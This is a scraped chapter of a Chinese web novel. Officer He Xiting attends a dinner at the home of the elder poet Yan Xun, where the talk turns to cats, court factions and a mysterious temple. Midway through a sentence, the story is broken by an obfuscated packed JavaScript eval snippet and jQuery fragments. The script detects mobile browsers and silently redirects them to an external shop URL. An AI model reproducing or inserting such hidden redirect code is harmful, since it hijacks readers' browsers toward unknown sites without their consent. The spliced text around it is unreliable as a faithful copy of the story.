文趣网 > 其他小说 > 萝萝知我意 > 26. 晏老
    贺西亭做巡检月满之日,平京因“东山居士”回城而热闹起来,整个神武长街被文人士子、寻常百姓给挤满了。

    贺西亭身为巡检,一边肃清街道,一边护着百姓,热得满头大汗。

    “晏老这名头也太响亮了!”帮贺西亭维护治安的兄弟几个,汗都浸透了衣襟,梁均擦了擦头上的汗,看向望不到头的长街百姓,不禁喃喃出声。

    “是啊!也不知他什么时候能进城,这百姓都围这儿一个早晨了!”

    魏绍不免怨念:“晏老也是的,回来就回来,怎么早早就把信儿传出去了呢!害得咱们还得在这儿拦着人!”

    大靖以文治天下,对诗文极尽推崇,前一段时日,贺西亭在胡桥遇见裴垣,正是文人士子在凤仙楼办雅集,赏的就是这位晏老的诗画。

    大靖建朝之时,刚经历四王之乱,又经几朝国号更换,是实打实的乱世之后,也致使士人的文风多偏卑弱苍冷,便是到先帝妙同皇帝时,也没好上多少。

    直到那位惊采绝艳、十岁便出口成章的晏家子,于妙同三十八年连夺三元,入朝为官后主导诗文改革,士人的文风才多了些欣欣向荣,也更符合大靖的大国气象。

    如今,这位晏家子历经两代帝王,年已过六旬,是当之无愧的诗文大家、文坛泰斗。

    贺西亭结交的文人士子不多,柳明甫、姜奎是他好友,这位晏老,他也是见过的。

    无他,晏老乃是柳明甫和姜奎那两届的主考,对这两个学生很是赞赏,他在平京时,时常会叫这两位学生过府谈诗颂文,贺西亭也去过一两次。

    但他听不懂,主要去混吃的了。

    晏家的厨子饭菜做得极好,豚肉做得一丝膻味都没有,入口即化,软烂可口,贺西亭知道晏恂回京,脑袋里冒出的第一个想法就是——他想吃肉了。

    他难得有个一官半职,不像往常无事可做,这一个月来,一为了青萝,二要查万佛寺,至今还没休沐过,想到晏家做的焖肉,他竟难得有些累了。

    好在晏家的马车没让他多等,巳时一刻,打东阳门进了城,一路过神武长街,悠悠哉哉地朝乌金巷行去。

    马车两侧车帘用金钩勾起,露出老大人一张含笑的脸,手抚过白胡子,对着长街上的士子百姓颔首微笑,面上瞧着淡定,贺西亭却知,这位老先生心里早乐开了花。

    晏家马车所过之处,两边百姓的叫喊声冲破天际,一浪高过一浪,贺西亭一脸生无可恋,这下不止是热了,耳朵还疼咧!

    好容易挨到晏恂回了府,长街上人影渐渐散去,贺西亭带着梁均等人回官衙,还没等迈进门,就将湿透的外裳给脱了。

    “对了,刚刚你前头人多,明甫兄家的小厮来同我说,晏老回府,待晌午咱们一同去拜访他。”梁均道。

    贺西亭点了点头,“那一会儿我同上官告假,咱们备好礼再去。”

    “好。”

    柳明甫能来寻他一起去,那必然是晏恂乐意他们来,否则,按晏恂那狂派的性子,纵是皇子上门,那也是绝不开门的。

    柳明甫算得上晏恂的得意门生,二人自是常有书信往来,知晓晏恂回来,定是提前说过要去拜访。

    既然晏老不烦他,他自然要跟着去,晏府的焖肉还等着他呢!

    二话不多说,几个少年将自己收拾了一通,重新换了常服,告了假就去街上买礼物。

    晏恂喜吃甜食,贺西亭备了几样蜜煎雕花,并一些甜瓜,便上了门。

    他们一行到晏府时,柳明甫与姜奎早在里面了。

    见到贺西亭,姜奎摇着扇,对主位上的晏恂道:“瞧瞧,说曹操曹操到,刚你老说这小子,人不就来了。”

    晏恂对自己这两位门生格外看重,之前未离京时便与他们时常小聚,连带着也见过贺西亭他们几次,对这几个武将之后很是喜欢。

    与如今寻常的文人不同,晏恂爱才,不光是爱文人的才,也爱武将的才。

    自打大靖建朝,历代皇帝扶植文官团体,限制武将兵权,他虽被推崇至文坛泰斗的位置,也依旧心中惭愧,亦对武将有怜惜之意。

    也正因此,他对姜奎和柳明甫二人亦十分欣赏,他们二人肯与武将结交,好过朝中太多人,才是真正的文人清流。

    今日晏恂一回来,便备了好酒,给柳、姜二人传了话,带上这几位少年英雄,小聚一番。

    这小宴设在晏恂院中,几人皆豪放,席地而坐,翠竹影动,沽酒对歌,贺西亭几人也是随性之人,当即就盘腿坐下,贺西亭正好挨着姜奎。

    “姜老道,你同晏老说我什么?”

    姜奎以扇掩唇,露出一双笑眼:“晏老说在街上见着你了,我便说你如今是九品巡检,也是个小官了!”

    贺西亭一听这话,得意地挺了挺脊背,一手接过小厮递过来的酒杯,仰头一饮而尽。

    “圣人恩赐,不敢怠慢。”

    少年自有一番傲然,晏恂与姜奎对视一眼,笑笑没说什么。

    见人齐了,晏恂看了眼日头,冲一旁侍候的小厮招手道:“去传菜吧。”

    “是。”

    小厮穿过月洞门,向外快步行去,洞门外的翠竹摇曳晃动,投下剪影,一道肉滚滚的影子越过,踩在最上头的竹叶上。

    铃铛声响,贺西亭移目望去。

    “咦?”他喊了一声:“是狸奴。”

    晏恂也看到了自家的猫,慈颜一展:“哟,玉奴怎的跑这儿来了?”

    贺西亭回头望了晏恂一眼,晏老管这个小东西叫“玉奴”,可见是很宠爱这小狸奴了。

    听到主人的呼唤,玉奴歪着小脑袋,瞪圆了那双透亮如琥珀的眼睛,小爪垫儿在地上一蹬,一跃而起,三两步跳到了晏恂的怀里。

    前爪一勾,便勾在晏恂的大胡子上。

    “嘶”被勾得疼了下,晏恂也不以为意,哈哈大笑地托着那狸奴,抱了起来。狸奴的两只后腿倔强得不肯抬起,虚虚搭在他那圆润的肚子上。

    晏恂喜吃肉、喜吃甜,又爱喝酒,肚子便大些,是以他喜穿腹围,只因能遮肚子,今日穿的腹围,上绣渚洲鹦鹉,着实是个又贪嘴又爱美的了。

    那小猫两只后腿一前一后踩着他的肚皮,好不可爱,看得贺西亭眼睛一亮。

    姜奎也喜欢得紧,便同晏恂道:“晏老,你这狸奴是女娘,日后可会下小崽?”

    晏恂将小玉奴抱回怀里,抚过它如雪的毛发,点了点头:“是要下的。”

    姜奎更喜了,“那你老到时候可得给我留一只,我定备好聘礼下聘。”

    贺西亭一听,愣了:“下聘?”

    姜奎侧眸瞧一眼他,颇有些嫌弃,“若想要人家的猫崽,定然是要聘的,连这点儿事都弄不懂,如何能照顾好小狸奴?”

    贺西亭哑然,不知抓只小猫崽,还有这么一套繁复流程,他家只有一只爱犬,倒还真不了解聘猫。

    如今晓得,他便虚心请教道:“下聘之后当如何?”

    姜奎也是知无不言:“备好聘礼,写一份‘纳猫契’,待主人同意,方可礼成。”

    “原是如此,那聘礼需什么?”贺西亭面上不显急切,仿佛就只是好奇。

    姜奎见状,知无不言,多有几分显摆之意,“这聘礼可备糖、茶叶、盐,自然还可备些大猫爱吃的鱼干。”

    说到这儿,姜奎又滔滔不绝,说起了各类小猫的品相,对他道:“这狸奴有许多种类,一窝的小崽,毛色也会尽不相同。你可知文人墨客与这狸奴起名,有乌云盖雪、墨玉垂珠……如墨玉垂珠,指的是狸奴通体漆黑,唯有尾巴尖儿缀着白。”

    贺西亭问:“那通体雪白的呢?”他的目光落在晏恂怀里的玉奴身上。

    玉奴便是通体雪白,这“玉”字,的确衬它。

    姜奎慢悠悠道:“如晏老家中这种,就叫“尺玉”,或称“霄飞练”。”

    贺西亭竖着耳朵听着,全记了在心里,眼珠子一转,问他:“你到时候要聘一只好看的?”

    姜奎:“那是自然。”

    见他今日问了这许多,姜奎“啧”一声:“你打听这些作甚?莫不是要送小娘子?”

    贺西亭一听这话,不自在地动了动屁股,姜奎看出点儿猫腻,想到之前一起吃酒时听到他说要科举的事,眯着眼睛笑。

    “是为了卫家的三姑娘吧?”

    贺西亭耳朵一红,姜奎见状,更深以为然,当即扭头就同晏恂说:“明甫生辰那日,晏老不在京,这小子同我们说,卫家都是文人,他喜欢人家三姑娘,得走科举!”

    晏恂正喝着酒,听这话,险些一口酒吐出来,酒洒在他胡子上几滴,胡乱抹了一把,晏恂对贺西亭道:“西亭小子,便是你学上三十年,这科举也是走不成的。”

    贺西亭:“……”

    柳明甫拍拍他的肩,用眼神安慰他,晏恂又慈祥一笑:“西亭小子,好生做这巡检,着实威风啊!”

    贺西亭简直无语,他最讨厌这帮读书人的嘴了!明明夸他,都跟损他似的!

    他动了动嘴唇,没说话,自顾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795700|208604||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    喝了口酒,懒得搭理他们调侃。

    不过多时,焖肉就上了桌,贺西亭不客气地夹走好几块,那几个文人吃饭细嚼慢咽的,哪里会抢过他?

    正嚼着软烂的肉,贺西亭眉眼放松,听姜奎问晏恂:“晏老如今应不会再外调了吧?”

    晏恂摆手道:“老夫年纪大了,也该享享清福了。”

    姜奎点点头,又道:“一间院子一壶酒,足慰平生许多愁。”

    这话很衬晏恂的意,笑眯眯地捋着胡须,不住颔首,又想到一事,问他:“如今朝中两党还争执得紧?”

    姜奎道:“永乐侯前段时日提议‘裁减冗官’,所行策略很是温和,倒对如今的朝堂有些助力。”

    虽姜奎说话不中听,甚会挖苦人,但贺西亭还是挺愿同他相交的,一是因他是当代大家,却不嫌他武将出身,二则是他一腔为国为民之心。

    姜奎今三十有五,宣德十三年中状元,本应平步青云,但因性子耿直,又为人狂傲,十分瞧不上那些个尸位素餐的官员,至今只是个御史台殿院的主官。

    可他的诗作、画作却可值千金,便是再不喜他政见的官员,偶尔也要私下里买上一幅两幅,等着日后翻价。

    他的诗文洒脱恣意,可却没几人能透过其中,看出他心中不甘。

    姜奎曾说:民者,天下之本,为官者,当爱民安民,是以他极力反对新政的大刀阔斧,便有新党将他视作旧党。

    但旧党偶有不作为之时,他又会写诗抨击旧党,旧党便以为他是新党。

    如今的他,倒成了两面派,新旧都以为他是对方阵营,对他更是不待见。

    晏恂虽外任了三年,但对平京中的事还是知道得清楚的,道:“我在外之时,见过不少官员以新政之名,到处搜刮民脂民膏,多有献给侯崇的,但苦无证据,也难上达天听,如今旧党能占上风,倒也算是好事。”

    “只要为民,谁占上风都好,只‘法相因则事易成,事有渐则民不惊’(注),需循序渐进才好。”

    文人士子最爱操心国家大事,贺西亭倒是也能听懂些,但他关注的倒不是新旧党谁更厉害,而是想到永乐侯为旧党之首,侯崇是新党之首。

    他抿了口酒,装作不经意问道:“侯相是不是有两个儿子?”

    姜奎点头道:“两个嫡子,大儿子侯章,如今在树州监察吏治,下个月就应回来了,小儿子嘛……”

    姜奎嫌弃地摇头:“就是个不入流的小官,你问他们作甚?”

    梁均知道贺西亭为何要问,忙就道:“上个月万源山围猎,姜大人可知道?我们陪老大巡街时,听传言说,自打那之后,永乐侯与侯相见面不说话,上朝必掐架,也不知是真是假?”

    姜奎笑了一声,颔首道:“这个倒不假,不过,应是因着政见之事,与围猎有何干系?”

    贺西亭与梁均对视一眼,在外人眼中自然没关系,但他们却只道万源山围猎到底发生了什么,李相极差点儿死了,永乐侯焉能对侯崇有好脸色?

    梁均哈哈一笑,“我以为李世子昏迷之事,与侯家有关呢,还想着他们两家本就有过节,没准儿就是侯云干的呢。”

    姜奎与柳明甫知道李相极昏迷之事,但都没往侯家去猜,毕竟圣人说要查此事,过了一个月,至今都没个信儿,也不知到底是谁对这个永乐侯世子动的手。

    晏恂不知此事,就问了一嘴,等听了一耳朵,微微拧眉沉思,目光落到贺西亭身上,轻声问了一句:“西亭小子救的李世子?”

    贺西亭面不改色:“正是。”

    晏恂“哦”了一声,倒是没再说旁的。

    说起侯李两家,贺西亭心思沉不下,又说起万佛寺,问几人:“几位可去过万佛寺?”

    姜家和晏家离那儿都远,平日里愿意去白马寺,也就是贺西亭家后山上的那座寺庙。

    柳明甫倒是说去过,“家中女眷信佛,每逢初一十五会去,我曾陪同过,怎么了?”

    汴京有四寺三庙,大靖人信佛的不少,万佛寺里香火也甚足,柳明甫又说:“只不过,往来的女眷多些,男客似乎比其他寺庙少许多。”

    贺西亭眸光一闪,捏着酒杯,轻声一笑道:“没什么,路上听人提及,想到要求个平安符,便随口问问。”

    “嗯。”柳明甫道:“不过要求平安符,还是天宝寺更灵验一些。”

    贺西亭闻声应了,心里却是想着:看来万佛寺无人知道有问题,等了一个多月,也不见侯云出现,是不是该想法子引他出来?